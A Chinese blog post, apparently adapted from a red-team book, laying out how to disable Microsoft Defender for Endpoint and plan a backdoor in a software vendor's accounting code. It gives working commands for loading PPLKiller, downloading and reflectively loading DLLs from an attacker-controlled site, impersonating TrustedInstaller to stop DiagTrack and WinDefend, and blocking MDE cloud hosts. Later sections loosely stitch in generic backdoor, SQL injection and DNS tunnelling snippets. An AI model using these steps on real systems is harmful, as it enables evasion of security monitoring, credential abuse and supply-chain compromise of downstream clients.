13、突破防线:绕过 MDE 与植入后门的技术攻略

突破防线:绕过 MDE 与植入后门的技术攻略

1. 应对 MDE 的挑战

高级黑客工具常进行大量内存操作,如 DLL 注入、驱动注册和内存字节修补。为绕过 Microsoft Defender for Endpoint(MDE),我们可采用深度混淆或替代 Windows API 调用的方法,但重写整个脚本库来应对 MDE 的监控会很痛苦。因此,我们需直接解决 MDE 本身的问题。

MDE 正常运行依赖两个主要服务:
- Sense:启动 MsSense 进程,是 MDE 的核心进程。
- DiagTrack:用于收集遥测数据,包括 MDE 信息,对应进程为 diagtrack.exe。

与传统杀毒软件不同,大多数 EDR 工具将大部分检测和关联逻辑外置到统一的云平台,MDE 也不例外,它仅收集事件并发送到微软平台。要完全禁用 MDE,可针对 Sense 服务(MsSense.exe)使代理失效,或终止 DiagTrack 服务(diagtrack.exe)让云控制台失去数据。然而,即使拥有本地管理员权限,停止这些服务及其相关进程也并非易事。

Sense 和 DiagTrack 有保护机制。从 Windows RedStone 3 Creator Update 1706 开始,Sense 服务被标记为不可停止,即便是管理员也难以关闭:

C:\Lab> sc query sense

SERVICE_NAME: sense
   TYPE            : 10  WIN32_OWN_PROCESS
   STATE           : 4  RUNNING
                   (NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
   WIN32_EXIT_CODE : 0  (0x0)

DiagTrack 虽未标记为不可停止,可用 sc stop diagtrack 命令停止,但 MDE 在需要与云控制台通信时会重启它。若要彻底关闭,需修改服务指向磁盘上可执行文件的二进制路径,但会遇到访问被拒绝的错误:

C:\Lab> sc config diagtrack binPath="hey"
[SC] ChangeServiceConfig FAILED 5 :
Access is denied

这是因为 Sense 和 DiagTrack 服务受名为 Protected Process Light(PPL)的新服务保护:

C:\Lab> sc qprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL : WINDOWS_LIGHT

服务保护是自 Windows 8.1 起实现的安全功能,可保护特定用户模式进程免受某些攻击,如进程注入、内存操作和进程终止,即便通过管理员账户操作也不行。技术上,受保护进程的 E_PROCESS 结构中有一个对应标志设置为正值(值取决于保护级别),E_PROCESS 结构位于内核空间,需在系统上加载驱动(或使用内核漏洞利用)才能覆盖它。在 Windows 10 上注册驱动需要扩展验证(EV)代码签名证书,成本约 400 美元,还不包括身份验证。

有一些工具可禁用受保护标志,如 PPLKiller(https://github.com/Mattiwatti/PPLKiller/),它自带签名驱动,可使用以下命令禁用进程保护:

C:\> sc create pplkiller binPath=C:\Windows\System32\drivers\pplkiller.sys type= kernel
C:\> sc start pplkiller

Mimikatz 也有类似功能,但 MDE 会检测到 Mimikatz 的驱动,迟早也会检测到 PPLKiller 的。因为不申请新的有效 EV 证书就无法更改驱动名称,这极大限制了我们的操作。不过,有更隐蔽可靠的方法。

2. 获得信任与线程注入

微软对受保护服务的描述称“只有受信任的调用者才能停止服务”,受信任的调用者指的是 TrustedInstaller 服务,它负责管理系统上的受保护服务和其他关键资源。例如,它可以重命名和删除敏感文件,如 C:\windows\system32\cmd.exe 。查看 cmd.exe 的访问控制列表(ACL):

PS C:\Lab> Get-Acl C:\Windows\System32\cmd.exe |fl

Path   : C:\Windows\System32\cmd.exe
Owner  : NT SERVICE\TrustedInstaller
Group  : NT SERVICE\TrustedInstaller
         NT SERVICE\TrustedInstaller Allow  FullControl

可见,与 TrustedInstaller 服务关联的 NT Service\TrustedInstaller 虚拟组对 cmd.exe 文件拥有完全权限,PPL 服务如 DiagTrack 和 Sense 也是如此。奇怪的是,TrustedInstaller 服务并未标记为受保护服务:

C:\> sc qprotection trustedinstaller
[SC] QueryServiceConfig2 SUCCESS
SERVICE trustedinstaller PROTECTION LEVEL: NONE.

这意味着我们可以使用管理员权限更改 TrustedInstaller 的二进制路径,以启动一个自动停止与 MDE 相关的 Sense 服务的命令提示符。理论上,以下命令可以实现:

C:\> sc config TrustedInstaller binPath= "cmd /C sc stop sense" && sc start TrustedInstaller

但会被 Windows Defender 和 MDE 阻止。我们尝试更隐蔽的 WMI 命令:

PS C:\Lab> Get-WmiObject win32_service -filter "Name='trusted installer'" | Invoke-WmiMethod -Name Change -ArgumentList @($null,$null,$null,$null,$null,"cmd /K sc stop sense");
PS C:\> start-service trustedinstaller

还是会被检测到。

既然 TrustedInstaller 服务不受保护,我们尝试向其进程注入新线程,用该线程生成一个继承 TrustedInstaller 安全令牌描述符的新命令行解释器,从而有效模拟 TrustedInstaller 的身份和权限。

注入线程到进程有多种方法,如 Mimikatz 的令牌操作模块、Empire 项目的 Invoke - TokenManipulation 脚本、Meterpreter 在内存中加载的 Incognito 工具版本。但这些都是知名攻击框架,除非进行深度混淆(可能并不总是有效),否则 MDE 肯定会检测到。我们需要构建自己的自定义例程来模拟令牌,James Forshaw 开发了一套与 NT 对象交互的 PowerShell 工具(https://github.com/google/sandbox - attacksurface - analysis - tools/),可实现 NT 结构和底层 Windows API 的包装器,用于执行各种操作,如列出内核对象、读取进程和操作安全令牌。

操作步骤如下:
1. 从 GitHub 下载整个项目,在 Visual Studio 中编译 NtObjectManager 和 NtApiDotNet 模块(若没有 Visual Studio,可从 https://visualstudio.microsoft.com/vs/community/ 下载)。
2. 编译得到 NtObjectManager.dll 和 NtApiDotNet.dll 两个 .NET DLL,将它们上传到 C2 服务器,使用 System.Reflection.Assembly 类的 Load 函数动态加载到内存:

PS C:\> $browser = New-Object System.Net.WebClient;
PS C:\> $browser.Proxy.Credentials= [System.Net.CredentialCache]::DefaultNetworkCredentials;
PS C:\> $b = $browser.DownloadData("https://www.stratjumbo.co.au/NtObjectManager.dll")
PS C:\> $c = $browser.DownloadData("http://www.stratjumbo.co.au/NtApiDotNet.dll")
PS C:\> $d = [System.Reflection.Assembly]::Load($b)
PS C:\> $e = [System.Reflection.Assembly]::Load($c)
  1. 导入加载的程序集:
PS C:\> Import-module $d
PS C:\> Import-module $e
  1. 检查 MDE 仪表盘,若没有警报,说明一切正常。
  2. 获取 SeDebugPrivilege 权限,以便与系统进程的内存空间交互:
PS C:\Lab> $Token = Get-NtToken -Primary
PS C:\Lab> $Token.SetPrivilege([NtApiDotNet.TokenPrivilegeValue[]]"SeDebugPrivilege", [NtApiDotNet.PrivilegeAttributes]"Enabled")
PS C:\> $Token.Privileges | Where-Object {$_.name -eq "SeDebugPrivilege"}
  1. 启动 TrustedInstaller 进程并获取其句柄:
PS C:\Lab> start-service trustedinstaller
PS C:\Lab> $ti_process = Get-NtProcess -Name "TrustedInstaller.exe"
  1. 准备调用 NtApiDotNet DLL 的 CreateProcess 方法所需的三个关键参数:
    • 要执行的命令行,这里用简单的 cmd
    • 父进程,即 TrustedInstaller.exe 的句柄。
    • CreationFlags 参数,设置为 16 以打开新控制台窗口。
      操作如下:
PS C:\Lab> $config = New-Object NtApiDotNet.Win32.Win32ProcessConfig
PS C:\Lab> $config.CommandLine = "cmd"
PS C:\Lab> $config.CreationFlags = [NtApiDotNet.Win32.CreateProcessFlags]16
PS C:\Lab> $config.ParentProcess = $ti_process
PS C:\> [NtApiDotNet.Win32.Win32Process]::CreateProcess($config)
  1. 从新命令行窗口更改 DiagTrack 的二进制路径并停止服务,同时停止 WinDefend 服务以禁用杀毒软件:
C:\Lab> sc config diagtrack binPath="hey"
C:\Lab> sc stop diagtrack
C:\Lab> sc query diagtrack
3. 替代路线
  • 虽然通过线程注入技巧可以停止 WinDefend 和 DiagTrack,但从 Windows 10 版本 1607 开始,Sense 服务标记为不可停止。禁用 DiagTrack 足以击败 MDE,若要禁用 Sense 服务,需更改其二进制路径并重启系统。
  • 若无法修改服务属性,可使用具有 TrustedInstaller 令牌的提升权限命令提示符更改 C:\Program Files\Windows Defender Advanced Threat Protection\ 文件夹中的二进制文件名,如重命名 SenseCncProxy.exe 文件,可阻止 MDE 与云服务共享遥测数据,效果与禁用 DiagTrack 相同。
  • 由于 MDE 严重依赖云来判断行为是否正常,另一种禁用 MDE 的方法是阻止与 Windows 服务器的通信。若防火墙不由组策略对象(GPO)管理,可推送规则阻止与以下 URL 的通信:
    • securitycenter.windows.com
    • winatp - gw - cus.microsoft.com
    • winatp - gw - eus.microsoft.com
    • winatp - gw - weu.microsoft.com
    • winatp - gw - neu.microsoft.com
    • us.vortex - win.data.microsoft.com
    • eu.vortex - win.data.microsoft.com
    • psapp.microsoft.com
    • psappeu.microsoft.com
4. 寻找项目信息与开发结构

现在我们有了每个开发组的有效凭据,接下来要寻找有助于了解 Strat Jumbo 项目管理结构的信息,以定位 Strat Accounting 的源代码并植入后门,进入 G&S Trust 的网络。

我们在 Citrix 会话中切换程序员账户,找到一个资料丰富的账户,如 SNOW 组的 jack.bosa。查看他的 Firefox 书签未发现有价值信息,但他的 Firefox 历史记录包含许多有趣链接。我们获取存储这些 URL 的数据库(位于 C:\Users\Jack\AppData\Roaming\Mozilla\Firefox\Profiles\<Random_string>.default\places.sqlite ),使用 SQLite 客户端(https://sqlitebrowser.org/)浏览。按访问次数排序页面,Strat Jumbo 维基网站(howto.stratjumbo.lan)出现在前 10 名中,很有价值。

使用 Jack 的 Windows 凭据透明连接到维基,仔细浏览网站,获取 Strat Jumbo 的内部组织、项目代码名称、编程实践和新功能验证工作流程等信息。

Strat Jumbo 的开发结构大致如下:
| 项目 | 详情 |
| ---- | ---- |
| 客户管理 | 每个客户由客户关系经理(CRM)管理,CRM 与客户制定工作说明,明确业务功能需求,如特定会计功能、税务表格等。 |
| 产品开发 | 部分功能在默认产品中可用,但常需为客户独特需求开发自定义功能,一个核心产品会多次分叉,每次实现不同插件。 |
| 团队分工 | 每个开发团队大致专注于一个产品及其所有自定义插件,团队成员可能因工作量和技能短缺而交叉。 |
| 质量保证 | 每个新功能或改进开发周期结束后,单独的质量保证团队将新代码导入预生产服务器,运行与客户商定的测试集,若一切正常,在下一次更新时发布新模块。 |
| 更新周期 | 核心功能大约每 12 个月更新一次,自定义插件根据客户要求更新,周期为 1 到 6 个月。 |
| 代码管理 | Strat Jumbo 维护一个本地 GitLab 存储库(stratlab.stratjumbo.lan),可轻松定位 G&S Trust 专用分支,但对代码的任何修改都会记录到数据库。 |

graph LR
    A[客户] --> B[CRM]
    B --> C[工作说明]
    C --> D[核心产品]
    D --> E[分叉开发]
    E --> F[自定义插件]
    F --> G[质量保证]
    G --> H[更新发布]
    I[开发团队] --> E
    J[质量保证团队] --> G
    K[GitLab 存储库] --> E

通过以上步骤和方法,我们可以在一定程度上绕过 MDE 的防护,并深入了解目标项目的开发结构,为后续的后门植入和网络渗透做好准备。

突破防线:绕过 MDE 与植入后门的技术攻略

5. 定位目标代码与潜在问题

在了解了 Strat Jumbo 的开发结构后,我们得知 Strat Accounting 的项目代码名称为 Baelish。同时,我们也找到了 Strat Jumbo 的本地 GitLab 存储库(stratlab.stratjumbo.lan),并且能够轻松定位到 G&S Trust 专用的分支。

然而,使用 Git 进行代码管理存在一个明显的问题。由于 Git 会记录代码的每一次修改,我们对代码所做的任何更改都会被记录到数据库中。这就意味着,如果我们直接在代码中植入后门,很容易被发现。以下是一个简单的流程图,展示了我们目前的情况:

graph LR
    A[找到 GitLab 存储库] --> B[定位 G&S Trust 分支]
    B --> C[发现代码修改会被记录]
    C --> D[考虑如何安全植入后门]
6. 植入后门的策略思考

为了能够安全地植入后门,我们需要制定一些策略来避免被发现。以下是几种可以考虑的方法:

  • 代码混淆 :对植入的后门代码进行混淆处理,使其难以被识别。例如,将代码拆分成多个部分,使用随机变量名,添加无用代码等。
  • 利用漏洞 :寻找代码中存在的漏洞,通过漏洞来植入后门,而不是直接修改代码。这样可以避免在代码记录中留下明显的痕迹。
  • 隐蔽通道 :建立隐蔽通道,通过隐蔽通道来控制后门,而不是直接与后门进行通信。例如,利用 DNS 隧道、HTTP 隧道等。
7. 实施代码混淆的步骤

如果选择代码混淆的方法,我们可以按照以下步骤进行操作:

  1. 分析代码结构 :首先,需要对目标代码的结构进行分析,了解代码的功能和逻辑。这样可以帮助我们确定哪些部分可以进行混淆,哪些部分需要保留。
  2. 选择混淆工具 :有许多代码混淆工具可供选择,如 Obfuscator-LLVM、Dotfuscator 等。根据目标代码的语言和平台,选择合适的混淆工具。
  3. 配置混淆规则 :根据分析结果,配置混淆工具的规则。例如,设置变量名替换规则、代码拆分规则等。
  4. 进行混淆处理 :使用配置好的混淆工具对后门代码进行混淆处理。
  5. 测试混淆效果 :对混淆后的代码进行测试,确保其功能正常,并且难以被识别。

以下是一个简单的代码混淆示例,假设我们有一个简单的 Python 后门代码:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8080))
s.send('Hello, World!')
s.close()

使用 Python 的 pyminifier 工具进行混淆处理后,代码可能会变成这样:

import socket as _a;_b=_a.socket(_a.AF_INET,_a.SOCK_STREAM);_b.connect(('127.0.0.1',8080));_b.send('Hello, World!');_b.close()
8. 利用漏洞植入后门的思路

如果选择利用漏洞来植入后门,我们需要按照以下思路进行操作:

  1. 漏洞扫描 :使用漏洞扫描工具,如 Nmap、Metasploit 等,对目标代码进行漏洞扫描。
  2. 分析漏洞 :对扫描到的漏洞进行分析,确定哪些漏洞可以被利用来植入后门。
  3. 编写漏洞利用代码 :根据分析结果,编写漏洞利用代码,通过漏洞来植入后门。
  4. 测试漏洞利用代码 :对编写好的漏洞利用代码进行测试,确保其能够成功利用漏洞植入后门。

以下是一个简单的漏洞利用示例,假设目标代码存在一个 SQL 注入漏洞:

import requests

url = 'http://example.com/login.php'
payload = "admin' OR '1'='1"
data = {'username': payload, 'password': 'password'}
response = requests.post(url, data=data)
print(response.text)

通过这个 SQL 注入漏洞,我们可以尝试植入后门代码。

9. 建立隐蔽通道的操作流程

如果选择建立隐蔽通道来控制后门,我们可以按照以下操作流程进行:

  1. 选择隐蔽通道类型 :根据目标环境和需求,选择合适的隐蔽通道类型,如 DNS 隧道、HTTP 隧道等。
  2. 搭建隐蔽通道服务器 :在自己的服务器上搭建隐蔽通道服务器,配置相应的参数。
  3. 修改后门代码 :修改后门代码,使其能够与隐蔽通道服务器进行通信。
  4. 测试隐蔽通道 :对建立好的隐蔽通道进行测试,确保其能够正常工作。

以下是一个简单的 DNS 隧道示例,使用 iodine 工具:

  1. 在服务器上安装 iodine 工具:
sudo apt-get install iodine
  1. 启动 iodine 服务器:
sudo iodine -f -P password example.com
  1. 在后门主机上安装 iodine 客户端:
sudo apt-get install iodine
  1. 连接到 iodine 服务器:
sudo iodine -f -P password example.com
10. 总结与后续行动

通过以上的步骤和方法,我们可以在绕过 MDE 防护的基础上,深入了解目标项目的开发结构,并制定出安全植入后门的策略。在实际操作中,我们需要根据具体情况选择合适的方法,并不断进行测试和优化。

后续,我们可以进一步完善后门的功能,提高其隐蔽性和稳定性。同时,要密切关注目标系统的动态,及时调整策略,以确保后门不被发现。

总之,在网络渗透过程中,我们需要不断学习和掌握新的技术和方法,灵活运用各种策略,才能达到我们的目标。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值